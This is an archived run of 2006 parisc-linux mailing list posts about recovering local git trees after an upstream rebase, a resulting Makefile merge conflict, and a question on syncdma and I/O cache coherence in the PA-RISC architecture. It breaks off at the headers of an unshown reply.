X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yVZ+fdMQYW0+VLuGbmZpZeV0amthcxsD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25362


So, as discussed previously [1], I've just rebased the git tree on top of
Linus' 2.6.19-rc4.  You can see our old history on the devel-2006-10-31
branch [2], but our shiny new history is on master, and conveniently at
the top for easy reading of what we haven't merged yet.

If your remotes file currently has a line in it like:

	Pull: refs/heads/master:refs/heads/origin

then you'll want to add the '+' at the beginning:

	Pull: +refs/heads/master:refs/heads/origin

otherwise git will refuse to update.  With the +, it will complain, but
do it anyway.


[1] http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030326.html
[2] http://git.parisc-linux.org/?p=linux-2.6.git;a=shortlog;h=devel-2006-10-31
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Git tree rebased
Date: Tue, 31 Oct 2006 09:05:16 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20061031160516.GC26964@parisc-linux.org>
References: <20061031150001.GB26964@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624616 27876 80.91.229.3 (22 Nov 2014 02:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Oct 2006 16:05:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 31 Oct 2006 17:05:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C7CA7D8BA;
	Tue, 31 Oct 2006 09:05:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13662-04; Tue, 31 Oct 2006 09:05:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9665A7D8BC;
	Tue, 31 Oct 2006 09:05:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7B4F7D8B9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 09:05:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13428-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 09:05:17 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 831BF7D8B8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 09:05:17 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 13F2249400E; Tue, 31 Oct 2006 09:05:17 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id E23ED49400D; Tue, 31 Oct 2006 09:05:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061031150001.GB26964@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fkZ1dqBuPTRtDujGPjIwwPsxc2tpZAuk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25363

On Tue, Oct 31, 2006 at 08:00:01AM -0700, Matthew Wilcox wrote:
> If your remotes file currently has a line in it like:
> 
> 	Pull: refs/heads/master:refs/heads/origin
> 
> then you'll want to add the '+' at the beginning:
> 
> 	Pull: +refs/heads/master:refs/heads/origin
> 
> otherwise git will refuse to update.  With the +, it will complain, but
> do it anyway.

As we've now learned, it's not that easy.  The problem is that all your
local repositories have a divergent branch of history from the one now
in the shared repo's master branch.  Here's a recovery guide.  Sorry for
all the inconvenience.

First, be sure your tree is clean before you pull.  ie git-diff returns
nothing.  Otherwise you'll be in even more pain than the rest of this.

Now, if you have no commits outstanding vs upstream
(git-log origin..master returns nothing), life is fairly easy.
After you put in the + above, you need to git-pull, then

git-checkout origin
git-branch -D master
git-checkout -b master

Now you can work as before.


If you have commits in your master branch, then we need to move them
over to the new origin branch.

git-fetch origin devel-2006-10-31:devel-2006-10-31
git-fetch origin
git-checkout -b new-master origin
for i in `git-rev-list devel-2006-10-31..master |tac`; do if ! git-cherry-pick -r $i; then sh; fi; done
# assuming the above goes OK
git-branch -D master
git-checkout -b master
git-branch -d new-master


Any more problems, please let me know.  I hadn't thought through all the
consequences of rebasing the current master branch.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Git tree rebased
Date: Wed, 01 Nov 2006 14:42:18 +0000
Lines: 107
Approved: news@gmane.org
Message-ID: <4548B24A.1010902@scarlet.be>
References: <20061031150001.GB26964@parisc-linux.org>
	<45487F41.4020509@scarlet.be>
	<20061101124125.GB11399@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624617 27881 80.91.229.3 (22 Nov 2014 02:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2006 14:44:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 01 Nov 2006 15:44:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04C167D8F7;
	Wed,  1 Nov 2006 07:44:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29890-10; Wed, 1 Nov 2006 07:44:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26FF27D8F3;
	Wed,  1 Nov 2006 07:44:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBEFA7D8E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 07:44:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29890-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Nov 2006 07:44:03 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 936BE7D8E4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 07:44:03 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 67941494010; Wed,  1 Nov 2006 07:44:03 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by mail.parisc-linux.org (Postfix) with ESMTP id D6AA249400E
	for <parisc-linux@parisc-linux.org>;
	Wed,  1 Nov 2006 07:43:21 -0700 (MST)
Original-Received: from (ip-213-49-74-250.dsl.scarlet.be [213.49.74.250]) 
	by oola.is.scarlet.be  with ESMTP id kA1EgJh25724; 
	Wed, 1 Nov 2006 15:42:19 +0100
User-Agent: Icedove 1.5.0.7 (X11/20061013)
In-Reply-To: <20061101124125.GB11399@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 94d6fdMWPjltCOrBOTU2nDEzMTE2NQn4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25364



Matthew Wilcox wrote:
> On Wed, Nov 01, 2006 at 11:04:33AM +0000, Joel Soete wrote:
>> * refs/heads/origin: does not fast forward to branch 'master' of 
>> git://git.parisc-linux.org/git/linux-2.6;
>>   not updating.
>>
>> Any idea of what I missed?
> 
> It's THE BIT YOU JUST QUOTED!
> 
well ...
>>> If your remotes file currently has a line in it like:
>>>
trying so to translate your idea in non git expert you mean that file:
# find . -type f | xargs grep "refs/heads/master"
./.git/remotes/origin:Pull: refs/heads/master:refs/heads/origin
./.git/HEAD:ref: refs/heads/master

>>> 	Pull: refs/heads/master:refs/heads/origin
>>>
>>> then you'll want to add the '+' at the beginning:
>>>
>>> 	Pull: +refs/heads/master:refs/heads/origin
>>>
so my .git/remotes/origin looks like now:
URL: git://git.parisc-linux.org/git/linux-2.6.git
Pull: +refs/heads/master:refs/heads/origin
Pull: refs/heads/linus:refs/heads/linus
Pull: refs/heads/scsi:refs/heads/scsi

>>> otherwise git will refuse to update.  With the +, it will complain,
Ok it do something:
# git-pull 2>&1 | tee -a /var/logs/GitParisc26.log
remote: Generating pack...
remote: Done counting 1545 objects.
remote: Result has 1156 objects.
remote: Deltifying 1156 objects.
remote:  100% (1156/1156) done
Unpacking 1156 objects
remote: Total 1156, written 1156 (delta 947), reused 15 (delta 11)
* refs/heads/origin: does not fast forward to branch 'master' of git://git.parisc-linux.org/git/linux-2.6;
   forcing update.
* refs/heads/linus: fast forward to branch 'linus' of git://git.parisc-linux.org/git/linux-2.6
   from e80391500078b524083ba51c3df01bbaaecc94bb to ae99a78af33f00565a05dbbc6ca9b247fed002c5
Auto-following refs/tags/v2.6.19-rc4-pa0
Auto-following refs/tags/v2.6.19-rc4
remote: Generating pack...
remote: Done counting 2 objects.
remote: Deltifying 2 objects.
remote:  100% (2/2) done
remote: Total 2, written 2 (delta 0), reused 0 (delta 0)
Unpacking 2 objects
* refs/tags/v2.6.19-rc4-pa0: storing tag 'v2.6.19-rc4-pa0' of git://git.parisc-linux.org/git/linux-2.6
* refs/tags/v2.6.19-rc4: storing tag 'v2.6.19-rc4' of git://git.parisc-linux.org/git/linux-2.6
Trying really trivial in-index merge...
fatal: Merge requires file-level merging
Nope.
merge: warning: conflicts during merge
Merging HEAD with 1c5484420c0a451eafd30121fd1fcc62bd234f1e
Merging:
823bbec4f4c48113da0083fc8220d60748daf8ed PA-RISC: sparse fixes
1c5484420c0a451eafd30121fd1fcc62bd234f1e Enable CONFIG_LOCALVERSION_AUTO in defconfigs
found 1 common ancestor(s):
7059abedd2f04b68bd7e1a79c9c72f7aeee134c0 Linux 2.6.19-rc3
Auto-merging Makefile
CONFLICT (content): Merge conflict in Makefile
Auto-merging arch/ia64/ia32/ia32_signal.c
Auto-merging arch/parisc/configs/712_defconfig
Auto-merging arch/parisc/configs/a500_defconfig
Auto-merging arch/parisc/configs/b180_defconfig
Auto-merging arch/parisc/configs/c3000_defconfig
Auto-merging arch/parisc/defconfig
Auto-merging arch/x86_64/ia32/ia32_signal.c
Removing include/asm-i386/mach-visws/do_timer.h
Auto-merging include/linux/compat.h
Auto-merging kernel/compat.c
Automatic merge failed; fix conflicts and then commit the result.

 >>> but do it anyway.

root@sidh:/Develop/parisc-linux/parisc-2.6 # head Makefile
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 19
<<<<<<< HEAD/Makefile
EXTRAVERSION =-rc3-pa0
=======
EXTRAVERSION =-rc4
 >>>>>>> 1c5484420c0a451eafd30121fd1fcc62bd234f1e/Makefile
NAME=Avast! A bilge rat!


And now what am I supposed to do with this 'conflictual' file in my local git tree?

(I know what I have to do if I want to use this file to build the kernel but what's up for the next git-pull?)

Joel
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syncdma question (back to ccio drivers)
Date: Thu, 02 Nov 2006 22:11:02 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <454A6CF6.3040309@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624617 27883 80.91.229.3 (22 Nov 2014 02:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:17 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>,
 grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2006 22:11:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 02 Nov 2006 23:11:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 746A07D817;
	Thu,  2 Nov 2006 15:11:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23190-05; Thu, 2 Nov 2006 15:11:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9976B7D819;
	Thu,  2 Nov 2006 15:11:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85F087D80E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 15:11:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23190-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Nov 2006 15:11:13 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 308667D800
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 15:11:13 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D3D3549400F; Thu,  2 Nov 2006 15:11:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id F066849400A;
	Thu,  2 Nov 2006 15:11:09 -0700 (MST)
Original-Received: from (ip-213-49-69-15.dsl.scarlet.be [213.49.69.15])
	by weequay.is.scarlet.be  with ESMTP id kA2MB3P03381;
	Thu, 2 Nov 2006 23:11:03 +0100
User-Agent: Icedove 1.5.0.7 (X11/20061013)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PVt/dJFNbUkoDenGPWgnX2xkZ2hlNwpW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25365

Hello Grant,

In one of my test, I also activated CCIO_MAP_STATS and noticed that before 53c700 pb occured the ccio driver used a very few 
number of entries: may max 30 of severall 100 available?

This make me so suspected a pb of coherency and remember me another of your comment in sba:
         /* XXX REVISIT for 2.5 Linux - need syncdma for zero-copy support.
         ** For Astro based systems this isn't a big deal WRT performance.
         ** As long as 2.4 kernels copyin/copyout data from/to userspace,
         ** we don't need the syncdma. The issue here is I/O MMU cachelines
         ** are *not* coherent in all cases.  May be hwrev dependent.
         ** Need to investigate more.
         asm volatile("syncdma");
         */

Reading back pa11_acd text:
� Cache Coherent I/O
Two instructions (LOAD COHERENCE INDEX and SYNCHRONIZE DMA) have been added to enable cache coherent memory references by 
I/O modules. Previously, responsibility for cache coherence between the processor and I/O modules lay with software, which 
had to use a sequence of flush and purge operations to ensure coherence. While software cache coherence for I/O is still 
attractive in uniprocessor systems because of the lower hardware cost, hardware cache coherence for I/O has a relatively low 
incremental cost in multiprocessor systems.

� Uncacheable Memory
An optional U (Uncacheable) bit has been added to each data TLB entry which controls cache move-in for the corresponding 
page. When the U-bit is set, new lines must not be moved in to the data cache, although existing lines may remain resident 
in the cache. This forces all references to non-resident lines to cause transactions to memory and enables better support of 
industry standard I/O busses where byte and word transactions to memory are sometimes required to communicate with I/O devices.

Unfortunately later:

If implemented, the U (Uncacheable) bit is found in the data TLB entry associated with a page. Whether or not the U-bit is 
implemented, the state of this bit if implemented, whether the memory reference is virtual or absolute, and whether the 
reference is made from a page in the memory or I/O address spaces determine if the reference may be moved into the data 
cache. The detailed rules for moving references into the data cache are specified in "Data Cache Move-In" on page 3-21.

Software must set the U-bit associated with all pages in the I/O address space to 1. Referencing a page in the I/O address 
space for which the U-bit is 0 is an undefined operation.

Changing the state of the U-bit for a page has no effect on the data cache lines from that page which already exist in the 
cache. A page from the memory address space which has its U-bit set to 0 is called a cacheable page. Pages from the I/O 
address space and pages which have their U-bit set to 1 are called uncacheable pages. It is possible for data cache lines 
from an uncacheable page to exist in a data cache. This case may be caused by changing a cacheable page to uncacheable after 
references to this page were moved into the data cache.

So my first question is:
How/where could I find if U-bit is implemented on my systems?

p-l pacache.S rely on its implementation (while hpux does syncdma conditional to a global var: duno what? )

TIA,
	Joel

PS: by reference to this James'paper <http://www.linuxjournal.com/article/7104>, mmu virtualize physical memory addresses 
for the cpu and otoh iommu virtualize this same physical memory addresses for the io bus; so given a virtual page address 
for the cpu, it's impossible for lpa to help me to know if this page is a physical address of a page in IO address space (I 
mean above 0xF0000000 for 32 bit kernels and above 0xF1000000 00000000 for 64bit kernel)?

PS2: is there any way to grab a [id]tlb entry for a given virtual address (may be undocumented feature like the "bit graber" 
;-) ?)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: syncdma question (back to ccio drivers)
Date: Sat, 4 Nov 2006 15:39:38 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <20061104223938.GC14141@colo.lackof.org>
References: <454A6CF6.3040309@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624617 27887 80.91.229.3 (22 Nov 2014 02:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:17 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Nov 2006 22:39:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 04 Nov 2006 23:39:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3756D7D783;
	Sat,  4 Nov 2006 15:39:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26885-09; Sat, 4 Nov 2006 15:39:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DF787D786;
	Sat,  4 Nov 2006 15:39:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 154827D769
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Nov 2006 15:39:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26885-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Nov 2006 15:39:43 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BD5C97D71F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Nov 2006 15:39:43 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7AE02494010; Sat,  4 Nov 2006 15:39:43 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 2D7D149400E;
	Sat,  4 Nov 2006 15:39:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 71AD93D836A;
	Sat,  4 Nov 2006 15:39:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19479-05; Sat, 4 Nov 2006 15:39:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D7BB63D8368; Sat,  4 Nov 2006 15:39:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <454A6CF6.3040309@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
